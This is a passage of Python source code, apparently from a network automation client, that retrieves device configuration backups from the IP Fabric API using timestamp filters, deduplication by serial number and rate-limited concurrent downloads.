filtering beyond the get-hash filter fields of sn and hostname.
before_ts:
The timestamp criteria for retrieving configs such that lastChecked
is <= before_ts. This value is the epoch timestamp * 1_000.
sanitized:
Determines if the configuration should be santized as it is extracted
from the IP Fabric system.
batch_sz:
Number of concurrent download tasks; used to rate-limit IPF API
due to potential performance related issue.
dry_run:
When True this coroutine will return the list of devices
that would be used to retrieve the configuration files; but
not actually get the configs.
Returns
-------
List of device-hash records that were used to perform the config file
fetching process.
Notes
-----
From experiments with the IP Fabric API, v3.6.1, observations are that
batch_sz must be 1 as higher values result in result text as
combinations of multiple devices. (Confirmed by IP Fabric engineering
2020-Sep-09)
"""
since_criteria = "lastCheck" if all_configs else "lastChange"
# The first step is to retrieve each of the configuration "hash" records
# using the active snapshot start timestamp as the basis for the filter.
if before_ts:
# TODO: The attempt to use the 'and' with this API call causes an
# Error 500 response code. Leaving this code in for now so we
# can debug/troubleshoot with IPF team.
if before_ts <= since_ts:
raise ValueError(
f"before_ts {before_ts} <= since_ts {since_ts}")
filters_ = {since_criteria: ["gte", since_ts]}
# filters_ = {
# "and": [
# {"lastCheck": ["gte", since_ts]},
# {"lastCheck": ["lte", before_ts]},
# ]
# }
else:
filters_ = {since_criteria: ["gte", since_ts]}
# if the Caller provided additional filters, add them now.
if filters:
filters_.update(filters)
payload = {
"columns": [
"_id",
"sn",
"hostname",
"lastChange",
"lastCheck",
"status",
"hash",
],
"filters":
filters_,
"snapshot":
self.active_snapshot,
"sort": {
"column": since_criteria,
"order": "desc"
},
"reports":
"/management/configuration/first",
}
res = await self.api.post(URIs.device_config_refs, json=payload)
res.raise_for_status()
records = res.json()["data"]
# NOTE: For unknown reasons, there are devices that have more than one
# record in this response collection. Therefore we need to retain only
# the most recent value using a dict and the setdefault method
if before_ts:
records = [
rec for rec in records if rec[since_criteria] <= before_ts
]
filtered_records = dict()
for rec in records:
filtered_records.setdefault(rec["sn"], rec)
records = list(filtered_records.values())
if dry_run is True:
return records
# TODO NOTE: API workaournd for v3.6
# since we cannot use the API for before_ts, we need to perform a post
# API filtering process now
# TODO NOTE: API limitation
# Now we need to retrieve each config file based on each record hash. We
# will create a list of tasks for this process and run them concurrently
# in batches (due to API related reasons).
batching_sem = Semaphore(batch_sz)
async def fetch_device_config(_hash):
""" perform a config fetch limited by semaphore """
async with batching_sem:
api_res = await self.api.get(
URIs.download_device_config,
params={
"hash": _hash,
"sanitized": sanitized
},
timeout=60,
)
return api_res
# create a lookup dictionary that will map the fetch coroutine to the
# hash record so that when the coroutine completes we can obtain the
# source device record; this is needed per the use of the `as_completed`
# function.
device_filter = device_filter or (lambda x: True)
fetch_tasks = {
fetch_device_config(rec["hash"]): rec
for rec in records if device_filter(rec)
}
_LOG.debug(
f"Fetching {len(fetch_tasks)} device configurations in {batch_sz} batches ... "
)
async for task in as_completed(fetch_tasks, timeout=5 * 60):
# the `task` instance will provide both the config text as a result,
# and allow use to use the associated coroutine as a lookup so we
# can obtain the device record associated with the config.
rec = fetch_tasks[task.get_coro()]
t_result = task.result()
# pass the device record and device configuration back to the Caller
# via the callback coroutine so that they can do what they want; for
# example save the contents to filesystem.
await on_config(rec, t_result.text)
# return only the list of device records that were subject to backup
# processing.
return list(fetch_tasks.values())
